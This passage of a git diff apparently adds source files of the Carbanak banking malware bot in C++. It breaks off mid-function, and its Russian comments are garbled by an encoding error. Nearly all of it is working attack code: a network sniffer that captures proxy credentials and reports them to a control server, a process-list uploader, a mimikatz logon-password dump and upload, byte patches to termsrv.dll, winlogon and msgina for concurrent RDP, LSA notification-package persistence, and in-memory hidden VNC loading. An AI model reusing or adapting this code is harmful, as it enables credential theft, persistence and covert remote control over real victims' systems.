}+ }+ //����� �� ������ ���������� ������ ����������� ������, ��� ��� ��� ����� ���� ��������� ��-�� ����, ��� ���� ����� ������� ������ ������+ if( pad->ips[i].counter-- <= 0 )+ {+ SendCmdAdminka( &pad->ips[i].addr, 1 );+ DbgMsg( "������� ������ �������������� ��� ������ %d, %s:%d '%s'", pad->ips[i].addr.type, pad->ips[i].addr.ipPort.ip, pad->ips[i].addr.ipPort.port, pad->ips[i].addr.authentication );+ //��������� �� ������, �� �������� �� ���� ���� ������ ������ ��� ���+ pad->ips[i].ip = 0;+ pad->remain--;+ }+ }+ }+ if( pad->remain <= 0 )+ return true;+ return false;+}++static DWORD WINAPI FindAuthenticationProxyThread( void* data )+{+ ULONG dst[10];+ ProxyAuthenticationData* pad = (ProxyAuthenticationData*)data;+ for( int i = 0; i < pad->c_ips; i++ )+ dst[i] = pad->ips[i].ip;+ Sniffer::Filter( 0, 0, dst, pad->c_ips, IPPROTO_TCP, FindAuthenticationProxyCallback, 2000, data );+ delete data;+ //������ ��� ������� �� ����� �������������� ��������� ������� ��� ��� ���������� � ������ �����+ for( int i = 0; i < pad->c_ips; i++ )+ if( pad->ips[i].ip )+ SendCmdAdminka( &pad->ips[i].addr, 1 );+ DbgMsg( "����� ����� ������������ ������ ���������" );+ return 0;+}++void FindAuthenticationProxy( Proxy::Info* addr, int c_addr )+{+ if( addr == 0 || c_addr <= 0 ) return;+ ProxyAuthenticationData* data = new ProxyAuthenticationData;+ Mem::Set( data, 0, sizeof(ProxyAuthenticationData) );+ if( c_addr >= 10 )c_addr = 10;+ for( int i = 0; i < c_addr; i++ )+ {+ Mem::Copy( &data->ips[i].addr, &addr[i], sizeof(Proxy::Info) );+ data->ips[i].ip = API(WS2_32, inet_addr)( addr[i].ipPort.ip );+ data->ips[i].port = API(WS2_32, htons)( addr[i].ipPort.port );+ data->ips[i].counter = 16;+ }+ data->c_ips = c_addr;+ data->remain = c_addr;+ Str::Copy( data->ProxyAuthorization, _CS_("Proxy-Authorization") );+ data->c_ProxyAuthorization = Str::Len(data->ProxyAuthorization);+ RunThread( FindAuthenticationProxyThread, data );+}+*/++void SendCmdAdminka( Proxy::Info* addr, int c_addr )+{+ StringBuilder cmd;+ for( int i = 0; i < c_addr; i++ )+ {+ cmd = _CS_("adminka ");+ switch( addr[i].type )+ {+ case Proxy::HTTP: cmd += _CS_("http"); break;+ case Proxy::HTTPS: cmd += _CS_("https"); break;+ case Proxy::SOCKS5: cmd += _CS_("socks5"); break;+ }+ cmd += ' ';+ cmd += addr[i].ipPort.ip;+ cmd += ':';+ cmd += addr[i].ipPort.port;+ if( addr[i].authentication[0] )+ {+ cmd += ' ';+ cmd += addr[i].authentication;+ }+ ManagerServer::CmdExec( cmd, cmd.Len() );+ }+}++struct FoundProxy+{+ ULONG ip;+ USHORT port; //����� ����� ��� ����� � ������� �������+ Proxy::Type type;+ char authentication[128];+ int counter; //���������� �������� �� ������ �����+};++const int MaxFoundProxy = 10;++struct ProxyData+{+ FoundProxy fp[MaxFoundProxy];+ int c_fp;+ char ProxyAuthorization[24];+ int c_ProxyAuthorization;+ int counter; //���������� ������������ GET ��������+};++static bool FindProxyCallback( const IPHeader* header, const void* data, int c_data, void* tag )+{+ if( data == 0 || c_data < 0 ) return false;+ int offset = (((byte*)data)[12] >> 4) * 4; //�������� ������ (����� ��������� TCP-������ � 32-������� ������)+ const char* s = (const char*)data + offset; //������ HTTP ������� (��� ������)+ int c_s = c_data - offset;+ ProxyData* pd = (ProxyData*)tag;+ if( s[0] == 'G' && s[1] == 'E' && s[2] == 'T' ) //������� ������ � GET ��������+ {+ int p = Mem::IndexOf( s, c_s, pd->ProxyAuthorization, pd->c_ProxyAuthorization );+ if( p > 0 )+ {+ USHORT* ports = (USHORT*)data;+ int i = 0;+ for( ; i < pd->c_fp; i++ )+ if( pd->fp[i].ip == header->iph_dest && pd->fp[i].port == ports[1] )+ break;+ if( i >= pd->c_fp )+ {+ if( i < MaxFoundProxy )+ {+ pd->fp[i].ip = header->iph_dest;+ pd->fp[i].port = ports[1];+ pd->fp[i].type = Proxy::HTTP;+ pd->fp[i].counter = 0;+ pd->c_fp++;+ }+ else+ i = -1;+ }+ if( i >= 0 )+ {+ p += pd->c_ProxyAuthorization;+ while( s[p] == ' ' || s[p] == ':' ) p++; //���� �� ������ ��������+ int p2 = Mem::IndexOf( s + p, '\r', c_s - p );+ if( p2 > 0 )+ {+ Str::Copy( pd->fp[i].authentication, sizeof(pd->fp[i].authentication), s + p, p2 );+ pd->fp[i].counter++;+ if( pd->fp[i].counter > 10 ) //���������� ������ ���� ������ ���������� ���, ������� ��� ������ � ����������� �����+ {+ return true;+ }+ }+ }+ }++ }+ pd->counter++;+ if( pd->counter > 500 ) //����� ��������� 100 GET �������� ����������� �����, �. �. ������ �� ������+ return true;+ return false;+}++DWORD WINAPI FindProxyAddrCrossSniffer( void* )+{+ ProxyData pd;+ pd.c_fp = 0;+ Str::Copy( pd.ProxyAuthorization, _CS_("Proxy-Authorization") );+ pd.c_ProxyAuthorization = Str::Len(pd.ProxyAuthorization);+ Sniffer::Filter( 0, 0, 0, 0, IPPROTO_TCP, FindProxyCallback, 2000, &pd );+ Proxy::Info addr;+ for( int i = 0; i < pd.c_fp; i++ )+ {+ if( pd.fp[i].counter > 10 )+ {+ addr.type = pd.fp[i].type;+ in_addr addr2;+ addr2.S_un.S_addr = pd.fp[i].ip;+ Str::Copy( addr.ipPort.ip, API(WS2_32, inet_ntoa)(addr2) );+ addr.ipPort.port = API(WS2_32, htons)(pd.fp[i].port);+ Str::Copy( addr.authentication, sizeof(addr.authentication), pd.fp[i].authentication );+ SendCmdAdminka( &addr, 1 );+ break;+ }+ }+ DbgMsg( "����� ������ ���������" );+ return 0;+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/ListProcess.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/ListProcess.cppnew file mode 100644index 0000000..deab450--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/ListProcess.cpp@@ -0,0 +1,32 @@+#include "other.h"+#include "Manager.h"++static bool ListProcessCallback( Process::ProcessInfo& pi, void* tag )+{+ StringBuilder* s = (StringBuilder*)tag;+ s->Cat( pi.fileName );+ s->Cat('\r');+ s->Cat('\n');+ return false;+}++int ListProcess( StringBuilder& s )+{+ s.SetEmpty();+ return Process::ListProcess( ListProcessCallback, &s );+}++bool SendListProcess( int dst )+{+ StringBuilder s;+ ListProcess(s);+ if( dst & 1 ) //������� � �������+ {+ ManagerServer::SendData( _CS_("listprocess"), s.c_str(), s.Len(), true, _CS_("listprocess.txt") );+ }+ if( dst & 2 ) //������� �� ������+ {+ ManagerServer::SendFileToVideoServer( _CS_("data"), _CS_("listprocess"), _CS_("txt"), s );+ }+ return true;+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/mimikatz.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/mimikatz.cppnew file mode 100644index 0000000..f8aef10--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/mimikatz.cpp@@ -0,0 +1,66 @@+#include "other.h"+#ifdef ON_MIMIKATZ+#include "mimikatz\mimikatz.h"+#endif+#include "core\file.h"+#include "manager.h"++namespace mimikatz+{++static DWORD WINAPI SendAllLogonsThread( void* )+{+#ifdef ON_MIMIKATZ+ SendAllLogons();+#endif+ return 0;+}++bool SendAllLogonsThread()+{+#ifdef ON_MIMIKATZ+ return RunThread( SendAllLogonsThread, 0 );+#else+ return false;+#endif++}++bool SendAllLogons()+{+#ifdef ON_MIMIKATZ+ StringBuilder s;+ ExtactAllLogons(s);+ ManagerServer::SendData( _CS_("logon_passwords"), s.c_str(), s.Len(), false );+#endif+ return true;+}++bool GetLogonPasswords( StringBuilder& s )+{+#ifdef ON_MIMIKATZ+ return ExtactAllLogons(s);+#else+ return false;+#endif+}++bool PatchRDP()+{+#ifdef ON_MIMIKATZ+ return MimikatzPatchRDP();+#else+ return false;+#endif+}++bool UpdateReestr()+{+#ifdef ON_MIMIKATZ+ return MimikatzUpdateReestr();+#else+ return false;+#endif+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/rdp_patch.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/rdp_patch.cppnew file mode 100644index 0000000..b81d8b0--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/rdp_patch.cpp@@ -0,0 +1,228 @@+#include "core\FileTools.h"+#include "core\service.h"+#include "core\process.h"+#include "core\debug.h"+#include "other.h"++typedef DWORD (WINAPI *typeSfcFileException)( HANDLE rpc,LPCWSTR fname,DWORD type );++//byte xp_termsrv_find1[] = {0x83, 0x78, 0x24, 0x00, 0x74, 0x04, 0x33, 0xc0, 0xeb, 0x2c};+//byte xp_termsrv_replace1[] = {0x75};++//byte xp_termsrv_find2[] = {0x3b, 0x46, 0x0c, 0x7f, 0x16};+//byte xp_termsrv_replace2[] = {0x90, 0x90}; //offset 3++byte xp_termsrv_find3[] = {0xe8, 0x63, 0x5e, 0x02, 0x00};+byte xp_termsrv_replace3[] = {0x32, 0xc0, 0x40, 0x90, 0x90}; //offset 0++byte xp_termsrv_find4[] = {0xf7, 0xd8, 0x1b, 0xc0, 0x40, 0xa3};+byte xp_termsrv_replace4[] = {0x33}; //offset 2++byte xp_termsrv_find5[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x8b, 0x45, 0x08, 0x57, 0x33, 0xff};+byte xp_termsrv_find6[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x57, 0x8b, 0xf1}; //����� ��� ����, � ������ �� xp_termsrv_replace5+byte xp_termsrv_find7[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x8b, 0x45, 0x08, 0x8b, 0x00, 0x8b, 0x80, 0x08, 0x34, 0x00, 0x00, 0x83, 0x78, 0x24, 0x00}; //������ �� xp_termsrv_replace5+byte xp_termsrv_find8[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8d, 0x71, 0x0c}; //������ �� xp_termsrv_replace5+byte xp_termsrv_find9[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x53, 0x56, 0x57, 0xbf, 0x9c}; //������ �� xp_termsrv_replace5+byte xp_termsrv_replace5[] = {0x33, 0xc0, 0xc2, 0x04, 0x00}; //offset 0++byte xp_termsrv_find10[] = {0x57, 0x6a, 0x47, 0x59, 0x6a, 0x01};+byte xp_termsrv_replace10[] = {0x33, 0xc0, 0xc3}; //offset -14++byte xp_csrsrv_find[] = { 0x51, 0x57, 0xff, 0xd0, 0x39, 0x9d, 0x24 };+byte xp_csrsrv_replace[] = { 0x90, 0x90 }; //offset 2++byte xp_msgina_find[] = { 0x6a, 0x00, 0xe8, 0x9d, 0x16, 0x01, 0x00 };+byte xp_msgina_replace[] = { 0xeb, 0x05 }; //offeset 0++byte xp_winlogon_find1[] = { 0xff, 0x75, 0x08, 0xe8, 0x12, 0x70, 0x00, 0x00 };+byte xp_winlogon_find2[] = { 0x8b, 0x4d, 0xfc, 0xe8, 0x5d, 0x33, 0x01, 0x00 };+byte xp_winlogon_replace[] = { 0x33, 0xc0, 0xc3 }; //��� xp_winlogon_find1 offset 40, ��� xp_winlogon_find2 offset 12++byte vista_termsrv_find[] = {0x3b, 0x91, 0x20, 0x03, 0x00, 0x00, 0x5e, 0x0f, 0x84};+byte vista_termsrv_replace[] = {0xc7, 0x81, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x5e, 0x90, 0x90}; //offset 0++byte win7_termsrv_find1[] = {0x3b, 0x86, 0x20, 0x03, 0x00, 0x00, 0x0f, 0x84};+byte win7_termsrv_find2[] = {0x85, 0xc0, 0x74, 0x09, 0x38, 0x5d, 0xfa};+byte win7_termsrv_find3[] = {0x74, 0x2f, 0x68, 0x88, 0x62};+byte win7_termsrv_replace1[] = {0xb8, 0x00, 0x01, 0x00, 0x00, 0x90, 0x89, 0x86, 0x20, 0x03, 0x00 }; //offset 0+byte win7_termsrv_replace2[] = {0x90}; //offset -20+byte win7_termsrv_replace3[] = {0xe9, 0x2c, 0x00, 0x00, 0x00}; //offset 0+++static File::PatchData XP_TermsrvPatch[] =+{+// { xp_termsrv_find1, sizeof(xp_termsrv_find1) / sizeof(byte), xp_termsrv_replace1, sizeof(xp_termsrv_replace1) / sizeof(byte), 4 },+// { xp_termsrv_find2, sizeof(xp_termsrv_find2) / sizeof(byte), xp_termsrv_replace2, sizeof(xp_termsrv_replace2) / sizeof(byte), 3 },+ { xp_termsrv_find3, sizeof(xp_termsrv_find3) / sizeof(byte), xp_termsrv_replace3, sizeof(xp_termsrv_replace3) / sizeof(byte), 0 },+ { xp_termsrv_find4, sizeof(xp_termsrv_find4) / sizeof(byte), xp_termsrv_replace4, sizeof(xp_termsrv_replace4) / sizeof(byte), 2 },+ { xp_termsrv_find5, sizeof(xp_termsrv_find5) / sizeof(byte), xp_termsrv_replace5, sizeof(xp_termsrv_replace5) / sizeof(byte), 0 },+ { xp_termsrv_find6, sizeof(xp_termsrv_find6) / sizeof(byte), xp_termsrv_replace5, sizeof(xp_termsrv_replace5) / sizeof(byte), 0 },+ { xp_termsrv_find6, sizeof(xp_termsrv_find6) / sizeof(byte), xp_termsrv_replace5, sizeof(xp_termsrv_replace5) / sizeof(byte), 0 },+ { xp_termsrv_find7, sizeof(xp_termsrv_find7) / sizeof(byte), xp_termsrv_replace5, sizeof(xp_termsrv_replace5) / sizeof(byte), 0 },+ { xp_termsrv_find8, sizeof(xp_termsrv_find8) / sizeof(byte), xp_termsrv_replace5, sizeof(xp_termsrv_replace5) / sizeof(byte), 0 },+ { xp_termsrv_find9, sizeof(xp_termsrv_find9) / sizeof(byte), xp_termsrv_replace5, sizeof(xp_termsrv_replace5) / sizeof(byte), 0 },+ { xp_termsrv_find10, sizeof(xp_termsrv_find10) / sizeof(byte), xp_termsrv_replace10, sizeof(xp_termsrv_replace10) / sizeof(byte), -14 },+ { 0 }+};++static File::PatchData Vista_TermsrvPatch[] =+{+ { vista_termsrv_find, sizeof(vista_termsrv_find) / sizeof(byte), vista_termsrv_replace, sizeof(vista_termsrv_replace) / sizeof(byte), 0 },+ { 0 }+};++static File::PatchData Win7_TermsrvPatch[] =+{+ { win7_termsrv_find1, sizeof(win7_termsrv_find1) / sizeof(byte), win7_termsrv_replace1, sizeof(win7_termsrv_replace1) / sizeof(byte), 0 },+ { win7_termsrv_find2, sizeof(win7_termsrv_find2) / sizeof(byte), win7_termsrv_replace2, sizeof(win7_termsrv_replace2) / sizeof(byte), -20 },+ { win7_termsrv_find3, sizeof(win7_termsrv_find3) / sizeof(byte), win7_termsrv_replace3, sizeof(win7_termsrv_replace3) / sizeof(byte), 0 },+ { 0 }+};++static File::PatchData XP_CsrsrvPatch[] =+{+ { xp_csrsrv_find, sizeof(xp_csrsrv_find) / sizeof(byte), xp_csrsrv_replace, sizeof(xp_csrsrv_replace) / sizeof(byte), 2 },+ { 0 }+};++static File::PatchData XP_MsginaPatch[] =+{+ { xp_msgina_find, sizeof(xp_msgina_find) / sizeof(byte), xp_msgina_replace, sizeof(xp_msgina_replace) / sizeof(byte), 0 },+ { 0 }+};++static File::PatchData XP_WinlogonPatch[] =+{+ { xp_winlogon_find1, sizeof(xp_winlogon_find1) / sizeof(byte), xp_winlogon_replace, sizeof(xp_winlogon_replace) / sizeof(byte), 40 },+ { xp_winlogon_find2, sizeof(xp_winlogon_find2) / sizeof(byte), xp_winlogon_replace, sizeof(xp_winlogon_replace) / sizeof(byte), 12 },+ { 0 }+};++struct FilePatch+{+ char* name;+ File::PatchData* patch;+};++static FilePatch XP_NamePatchedFiles[] =+{+ { _CT_("termsrv.dll"), XP_TermsrvPatch },+ { _CT_("csrsrv.dll"), XP_CsrsrvPatch },+ { _CT_("msgina.dll"), XP_MsginaPatch },+ { _CT_("winlogon.exe"), XP_WinlogonPatch },+ { 0 }+};++typeSfcFileException SfcFileException;++//��������� ������ ���������� ����� �� ���� ������+static bool DeprotectFile( const StringBuilder& fileName )+{+ if( SfcFileException == 0 )+ {+ HMODULE sfc_os = API(KERNEL32, LoadLibraryA)( _CS_("sfc_os.dll") );+ if( !sfc_os ) return false;+ SfcFileException = (typeSfcFileException)API(KERNEL32, GetProcAddress)( sfc_os, (char*)5 );+ if( SfcFileException == 0 ) return false;+ }+ wchar_t* fileNameW = WStr::Alloc(fileName.Len() + 1 );+ Str::ToWideChar( fileName.c_str(), fileName.Len() + 1, fileNameW, fileName.Len() + 1 );+ DWORD res = SfcFileException( 0, fileNameW, -1 );+ Mem::Free(fileNameW);+ return res == 0;+}++static bool PatchRDPFilesXP()+{+ bool ret = false;+ SfcFileException = 0;+ StringBuilderStack<MAX_PATH> pathSystem32;+ StringBuilder pathCache, filePatch, filePatchTmp, fileCache;+ if( !Service::OffDcomlaunch() ) return false;+ Process::KillLoadedModule( _CS_("termsrv.dll") );+ if( Path::GetCSIDLPath( CSIDL_SYSTEM, pathSystem32 ) )+ {+ Path::Combine( pathCache, pathSystem32, _CS_("dllcache") );+ int i = 0;+ while( XP_NamePatchedFiles[i].name )+ {+ Path::Combine( filePatch, pathSystem32, DECODE_STRING(XP_NamePatchedFiles[i].name) );+ filePatchTmp = filePatch;+ Path::ChangeExt( filePatchTmp, _CS_("tmp") );+ Path::Combine( fileCache, pathCache, DECODE_STRING(XP_NamePatchedFiles[i].name) );+ File::SetAttributes( fileCache, FILE_ATTRIBUTE_NORMAL );+ File::SetAttributes( filePatch, FILE_ATTRIBUTE_NORMAL );+ if( DeprotectFile(filePatch) )+ DbgMsg( "������ ����� ��� ����� %s", filePatch.c_str() );+ else+ DbgMsg( "������ �� ������� ��� ����� %s", filePatch.c_str() );+ if( File::Delete(fileCache) )+ DbgMsg( "������ ���� %s", fileCache.c_str() );+ else+ DbgMsg( "�� ������� ������� %s", fileCache.c_str() );++ if( API(KERNEL32, MoveFileA)( filePatch, filePatchTmp ) )+ DbgMsg( "������������� %s -> %s", filePatch.c_str(), filePatchTmp.c_str() );+ else+ DbgMsg( "�� ������� ������������� %s -> %s", filePatch.c_str(), filePatchTmp.c_str() );+ if( File::PatchExe( filePatchTmp, filePatch, XP_NamePatchedFiles[i].patch ) > 0 )+ DbgMsg( "���������� %s", filePatch.c_str() );+ else+ DbgMsg( "�� ������� ���������� %s", filePatch.c_str() );+ i++;+ }+ mimikatz::UpdateReestr();+ Delay(1000); //������� ����, ����� ������� ������� ��� ������ ��������� � �� ����� ���� ����� ���������+ Service::Start(_CS_("TermService"));+ ret = true;+ }+ return ret;+}++bool PatchRDPFilesVer6x( File::PatchData* patch )+{+ bool ret = false;+ Service::Stop( _CS_("TermService") );+ StringBuilderStack<MAX_PATH> filePatch;+ if( Path::GetCSIDLPath( CSIDL_SYSTEM, filePatch, _CS_("termsrv.dll") ) )+ {+ BOOLEAN old = FALSE;+ API(NTDLL, RtlAdjustPrivilege)( SE_DEBUG_PRIVILEGE, TRUE, FALSE, &old );+ if( File::PatchExe( filePatch, filePatch, patch ) > 0 )+ {+ DbgMsg( "���������� %s", filePatch.c_str() );+ ret = true;+ }+ else+ DbgMsg( "�� ������� ���������� %s", filePatch.c_str() );+ mimikatz::UpdateReestr();+ Delay(1000); //������� ����, ����� ������� ������� ��� ������ ��������� � �� ����� ���� ����� ���������+ Service::Start(_CS_("TermService"));+ }+ return ret;+}++bool PatchRDPFilesVista()+{+ return PatchRDPFilesVer6x(Vista_TermsrvPatch);+}++bool PatchRDPFilesWin7()+{+ return PatchRDPFilesVer6x(Win7_TermsrvPatch);+}++bool PatchRDPFiles()+{+ DWORD MajorVersion, MinorVersion, BuildNumber;+ API(NTDLL, RtlGetNtVersionNumbers)( &MajorVersion, &MinorVersion, &BuildNumber );+ BuildNumber &= 0x00003fff;+ if( MajorVersion == 5 ) //XP+ return PatchRDPFilesXP();+ else if( MajorVersion == 6 )+ if( MinorVersion == 0 )+ return PatchRDPFilesVista();+ else if( MinorVersion == 1 )+ return PatchRDPFilesWin7();+ return false;+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/secure_lsa.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/secure_lsa.cppnew file mode 100644index 0000000..751cbd8--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/secure_lsa.cpp@@ -0,0 +1,85 @@+#pragma once++#include "core\core.h"+#include "core\debug.h"+#include "core\reestr.h"+#include "core\rand.h"+#include "core\file.h"++namespace Secure+{++bool Lsa( const Mem::Data& dllBody, const StringBuilder& folder )+{+ Mem::Data data;+ Reestr r( HKEY_LOCAL_MACHINE, _CS_("System\\CurrentControlSet\\Control\\Lsa") );+ if( !r.Valid() ) return false;+ StringBuilderStack<32> NP( _CS_("Notification Packages") );+ if( !r.GetData( NP, data, REG_MULTI_SZ ) ) return false;+ StringBuilderStack<16> scecli( _CS_("scecli") );+ char* s = data.p_char();+ while( *s )+ {+ int p = Str::IndexOf( s, scecli, -1, scecli.Len() );+ if( p >= 0 )+ {+ int p2 = p + scecli.Len();+ if( s[p2] != 0 && ( s[p2 + 1] == 0 || s[p2 + 1] == '.' ) )+ break;++ }+ s += Str::Len(s) + 1;+ }+ StringBuilder reestrName(MAX_PATH), fileName(MAX_PATH);+ if( *s == 0 )+ {+ char c = Rand::Gen( 'a', 'z' );+ reestrName = scecli;+ reestrName += c;+ }+ else+ reestrName = s;+ fileName = reestrName;+ if( fileName.IndexOf(':') < 0 ) //������ ��� (�� ������ ����)+ {+ StringBuilderStack<MAX_PATH> path;+ Path::GetCSIDLPath( CSIDL_SYSTEM, path, fileName );+ fileName = path;+ fileName += _CS_(".dll");+ }+ bool ret = false;+ if( File::Write( fileName, dllBody ) ) //����� � ��������� �����+ ret = true;+ else //����� � ���������� �����, ����� ����� ����, ���� ���� ������ ����� �����+ {+ StringBuilderStack<MAX_PATH> path;+ Path::Combine( path, folder, Path::GetFileName(fileName) );+ fileName = path;+ if( File::Write( fileName, dllBody ) )+ {+ reestrName = fileName;+ ret = true;+ }+ }+ if( ret )+ {+ DbgMsg( "DLL ���� ��������� � %s", fileName.c_str() );+ if( *s == 0 ) //��� � ������� ��� ������+ {+ data.Insert( data.Len() - 1, reestrName.c_str(), reestrName.Len() + 1 );+ if( r.SetData( NP, data, REG_MULTI_SZ ) )+ {+ DbgMsg( "������ ��� ��������" );+ ret = true;+ }+ else+ {+ File::Delete(fileName);+ ret = false;+ }+ }+ }+ return ret;+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/vnc.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/vnc.cppnew file mode 100644index 0000000..de133b6--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/other/vnc.cpp@@ -0,0 +1,265 @@+#include "other.h"+#include "Manager.h"+#include "sandbox.h"+#include "main.h"+#include "tools.h"+#include "errors.h"+#include "core\pipe.h"+#include "core\runinmem.h"+#include "core\crypt.h"+#include "core\file.h"+#include "core\version.h"++namespace VNC+{++//��������� �������������� �� ������ �������� �������+#pragma warning ( disable : 4200 )+struct Params+{+ typeFuncRes funcRes; //����� ������� ������� ���������� ��� ���������� ���������� ������+ AddressIpPort ipp; //���� ������� ������ ������� ������ ��� �����������+ char answerPipe[32]; //��� ������ �������� ����� ��������� �����+ Pipe::typeReceiverPipeAnswer func; //������� ����� �������� �����+ int size_x86; //������ ������� ������ x86+ int size_x64; //������ ������� ������ x64+ int c_tag;+ byte data[0]; //���� ������� x86, � �� ��� ������ ������� x64, ����� tag+};++struct VNCDLL_CONTEXT+{+ ULONGLONG pModule32; // ��������� �� ����������� � ������ ����, ���������� 32�-������ ������ DLL+ ULONGLONG pModule64; // ��������� �� ����������� � ������ ����, ���������� 64�-������ ������ DLL+ ULONG Module32Size; // ������ ����� 32�-������ DLL+ ULONG Module64Size; // ������ ����� 64�-������ DLL+};++struct FuncPort+{+ typeFuncRes funcRes;+ char namePlugin_x64[32];+ AddressIpPort ipp;+ byte* data; //����������� ������ x86+ int sz_data;+ void* tag;+ int c_tag;+};++typedef ULONG (WINAPI *typeStartServer)( PVOID* pServerHandle, SOCKADDR_IN* ServerAddress, LPTSTR pClientId, BOOL bWaitConnect );+typedef void (WINAPI *typeStopServer)( PVOID ServerHandle );+++class VNCServer : public PipeServer+{+ typeStartServer StartServer;+ typeStopServer StopServer;+ PVOID server;++ //virtual int Handler( Pipe::Msg* msgIn, void** msgOut );+ virtual void Disconnect();++ public:++ VNCServer( typeStartServer _StartServer, typeStopServer _StopServer, PVOID _server ) :+ StartServer(_StartServer), StopServer(_StopServer), server(_server)+ {+ }+ ~VNCServer();++};++DWORD WINAPI ThreadVNC( void* );++StringBuilder& GetNameVNCServer( StringBuilder& s )+{+ return Crypt::Name( _CS_("VNCServer"), Config::XorMask, s );+}++static void HandlerStartInSandbox( Pipe::AutoMsg msg, DWORD tag )+{+ int res = *((int*)msg->data);+ ((typeFuncRes)tag)(res);+}++static void HandlerLoadedPlugin( Pipe::AutoMsg msg, DWORD tag )+{+ FuncPort* fp = (FuncPort*)tag;+ if( msg->sz_data > 20000 )+ {+ byte *x86 = 0, *x64 = 0;+ int sz_x86 = 0, sz_x64 = 0;+ if( fp->data == 0 ) //��������� x86 ������ �������+ {+ DbgMsg( "��������� vnc x86 ������ (%d)", fp->sz_data );+ if( fp->namePlugin_x64[0] ) //������� ��� ������� x64+ {+ WindowsVersion wv;+ GetWindowsVersion(wv);+ if( wv.architecture == Sys64bit ) //x64 ������ ��+ {+ //��� ������ ����� x64 ��������� ������� � ����������, ����� �� ���������� �����������+ //StringBuilderStack<MAX_PATH> svchost;+ //if( Path::GetCSIDLPath( CSIDL_WINDOWS, svchost, _CS_("SysWOW64") ) )+ //{+ // Path::AppendFile( svchost, _CS_("svchost.exe" ) );+ // AddAllowedprogram(svchost);+ //}++ fp->data = (byte*)Mem::Duplication( msg->data, msg->sz_data );+ fp->sz_data = msg->sz_data;+ StringBuilder name( 0, -1, fp->namePlugin_x64 );+ ManagerServer::LoadPlugin( name, HandlerLoadedPlugin, 0, (DWORD)fp ); //��������� x64 ������+ return;+ }+ }+ x86 = msg->data; sz_x86 = msg->sz_data;+ }+ else //��������� x64 ������ �������+ {+ DbgMsg( "��������� vnc x64 ������" );+ x86 = fp->data; sz_x86 = fp->sz_data;+ x64 = (byte*)msg->data; sz_x64 = msg->sz_data;+ }+ int sz_param = sizeof(Params) + sz_x86 + sz_x64 + fp->c_tag;+ Params* param = (Params*)Mem::Alloc(sz_param);+ if( param == 0 )+ fp->funcRes(2);+ else+ {+ param->funcRes = fp->funcRes;+ param->ipp = fp->ipp;+ Str::Copy( param->answerPipe, sizeof(param->answerPipe), Pipe::serverPipeResponse->GetName() );+ param->func = HandlerStartInSandbox;+ param->size_x86 = sz_x86;+ param->size_x64 = sz_x64;+ param->c_tag = fp->c_tag;+ Mem::Copy( param->data, x86, sz_x86 );+ Mem::Copy( param->data + sz_x86, x64, sz_x64 );+ Mem::Copy( param->data + sz_x86 + sz_x64, fp->tag, fp->c_tag );+ Sandbox::Run( ThreadVNC, MAIN_USER, param, sz_param, false );+ }+ }+ else+ fp->funcRes(1);+ Mem::Free(fp->data);+ Mem::Free(fp->tag);+ Mem::Free(fp);+}++bool Start( const char* namePlugin, const char* namePlugin_x64, AddressIpPort& ipp, typeFuncRes func, void* tag, int c_tag )+{+ StringBuilder name( 0, -1, namePlugin );+ FuncPort* fp = (FuncPort*)Mem::Alloc(sizeof(FuncPort));+ if( fp )+ {+ Mem::Set( fp, 0, sizeof(FuncPort) );+ fp->funcRes = func;+ Str::Copy( fp->namePlugin_x64, sizeof(fp->namePlugin_x64), namePlugin_x64 );+ fp->ipp = ipp;+ fp->tag = tag;+ fp->c_tag = c_tag;+ return ManagerServer::LoadPlugin( name, HandlerLoadedPlugin, 0, (DWORD)fp );+ }+ func(2);+ return false;+}++static void ResStartVNC( int res )+{+ DbgMsg( "��������� ������ vnc.plug: %d", res );+ int err = TaskErr::Wrong;+ switch( res )+ {+ case 0: err = TaskErr::Succesfully; break;+ case 1: err = TaskErr::PluginNotLoad; break;+ case 2: err = TaskErr::OutOfMemory; break;+ case 3: err = TaskErr::NotRunInMem; break;+ case 4: err = TaskErr::NotExportFunc; break;+ }+ StringBuilderStack<8> cmd;+ cmd = _CS_("vnc");+ ManagerServer::SendResExecutedCmd( cmd, err );+}++bool StartDefault( AddressIpPort& port, bool hvnc, void* tag, int c_tag )+{+ if( hvnc )+ Start( _CS_("hvnc.plug"), _CS_("hvnc64.plug"), port, ResStartVNC, tag, c_tag );+ else+ Start( _CS_("vnc.plug"), _CS_("vnc64.plug"), port, ResStartVNC, tag, c_tag );+ return true;+}+++DWORD WINAPI ThreadVNC( void* )+{+ Params* param = (Params*)Sandbox::Init();+ Socket::Init();+ VNCDLL_CONTEXT context;+ context.pModule32 = (ULONGLONG)param->data;+ context.pModule64 = (ULONGLONG)(param->data + param->size_x86);+ context.Module32Size = param->size_x86;+ context.Module64Size = param->size_x64;+ int res = 0;+#ifdef WIN64+ HMODULE dll = RunInMem::RunDll( param->data + param->size_x86, param->size_x64, &context );+#else+ HMODULE dll = RunInMem::RunDll( param->data, param->size_x86, &context );+#endif+ if( dll )+ {+ typeStartServer StartServer = (typeStartServer)WinAPI::GetApiAddr( dll, 0x0d163182 /*VncStartServer*/ );+ typeStopServer StopServer = 